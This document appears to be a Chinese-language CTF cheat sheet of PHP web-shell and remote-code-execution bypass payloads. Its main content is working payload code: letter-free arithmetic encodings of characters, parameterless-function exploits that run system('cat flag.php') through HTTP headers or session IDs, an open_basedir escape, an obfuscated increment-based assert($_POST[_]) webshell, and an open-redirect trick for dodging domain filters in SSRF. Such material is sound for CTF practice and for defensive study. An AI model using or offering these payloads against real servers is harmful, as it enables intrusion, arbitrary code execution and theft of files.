$b = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1})';//0110 0010 b
$c = '((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))|((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0011 c
$d = '(((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0110 0100 d
$e = '((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11})';//0110 0101 e
$f = '(((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0110 f
$g = '(((0/0).(1)){1}|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0111 g
$h = '(((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1000 h
$i = '(((0/0).(1)){1}|((0).(9)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1001 i
$j = '(((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 1010 j
$k = '((9999999999*999999999).(0)){12}|((0/0).(1)){1}';//0110 1011 k
$l = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|((((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))))';//0110 1100 l
$m = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|(((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11}))';//0110 1101 m
$n = '((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})';//0110 1110 n
$o = '((3333/4).(0)){3}|((0/0).(1)){1}';//0110 1111 o
$p = '((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0000 p
$q = '((0).(0)){0}|((0/0).(1)){1}';//0111 0001 q
$r = '((2).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0010 r
$s = '((0/0).(1)){1}|((0).(2)){1}';//0111 0011
$t = '((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0100 t
$u = '((0/0).(1)){1}|((0).(4)){1}';//0111 0101
$v = '((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0110 v
$w = '((0/0).(1)){1}|((0).(6)){1}';//0111 0111
$x = '((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 1000 x
$y = '((0/0).(1)){1}|((0).(9)){1}';//0111 1001
$z = '((((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))|(((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1010 z
$_7b = '(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&((4).(0)){0}';//0111 1011 {
$_7c = '(((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1100 |
$_7d = '((1).(2)){1}|((1/0).(0)){0}';//0111 1101 }
$_7e = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1110 ~
$_7f = '(((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1}';//0111 1111 7f
$_80 = '(((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))';//1000 0000
$_ff = '(~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}';//1111 1111 ff
(1)无参函数
常见函数:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中指针所在的当前元素的值,初始指向插入到数组中的第一个元素。用next()或者prev()可以移动指针并输出。reset()和end()分别将指针指向第一个和最后一个元素并输出。each()返回当前元素键名和键值,并将指针向前移动。
scandir(\$dir,\$order)列出$dir目录下的文件和目录,返回数组:
Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
第二个参数是排序,0为正序,1为倒序
array_reverse() 反转数组
time() 返回当前时间,是自1970年到目前的秒数
chr(\$num) 返回$num的ascii码对应的字符
查看当前目录:var_dump(scandir(current(localeconv())));
读取倒数第二个文件:readfile(next(array_reverse(scandir(current(localeconv())))));
、
readfile(next(array_reverse(scandir(getcwd()))));
还有session_id(session_start())
也能够利用:
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
还有getallheaders
,获取所有HTTP头参数,加上end()就是最后一组,因此最后一组可以自己控制:
请求头最后添加:
hacker: system('cat flag.php');
payload=eval(end(getallheaders()));
中间件为apache时:
var_dump(get_defined_vars());
可以返回$_GET
,$_POST
,$_COOKIE
,$_FILES
,$_SESSION
,$_REQUEST
,$_SERVER
等全局变量,可以在GET中添加参数进行RCE:
?code=var_dump(end(current(get_defined_vars())));&hack=phpinfo();
(2)绕过open_basedir
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
(3)php数学函数
?cmd=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs});&pi=system()&abs=ls /
(4)自增脚本
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//assert($_POST[_]);
(5)用chr(time())来产生
.来读取文件
readfile(end(scandir(chr(time(chdir(next(scandir(chr(time())))))))));
(6)域名跳转(应该放在SSRF里)
如果限制了域名xxx.baidu.com,可以利用百度的跳转:
https://www.baidu.com/link?url=w1-LGqOMWeSjD0ciAK9yBavAZRAeHbXiKNPeEkicXrulug0uo6_PD-kiguT6pVJN&wd=&eqid=ada158ea00375a58000000065d7baf02
百度搜索博客,点击博客后会先访问百度的跳转链接,然后再跳转到博客地址。这样就可以绕过限制访问可控的博客地址,但是只能访问博客首页(通常只有首页被收录)
(7)session反序列化RCE
https://www.anquanke.com/post/id/201177#h2-13
参考:
https://blog.csdn.net/qq_45521281/article/details/105585709
https://www.jianshu.com/p/a68f3f1f30eb
https://blog.frankli.site/2020/05/10/PHP%20Shell%20Bypass/
https://www.cnblogs.com/hookjoy/p/10395317.html
http://zhengbao.wang/%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97shell/
https://cloud.tencent.com/developer/article/1194018
还需要看的:
安全客的.htaccess利用与bypass总结
挖掘一下无参RCE的常见函数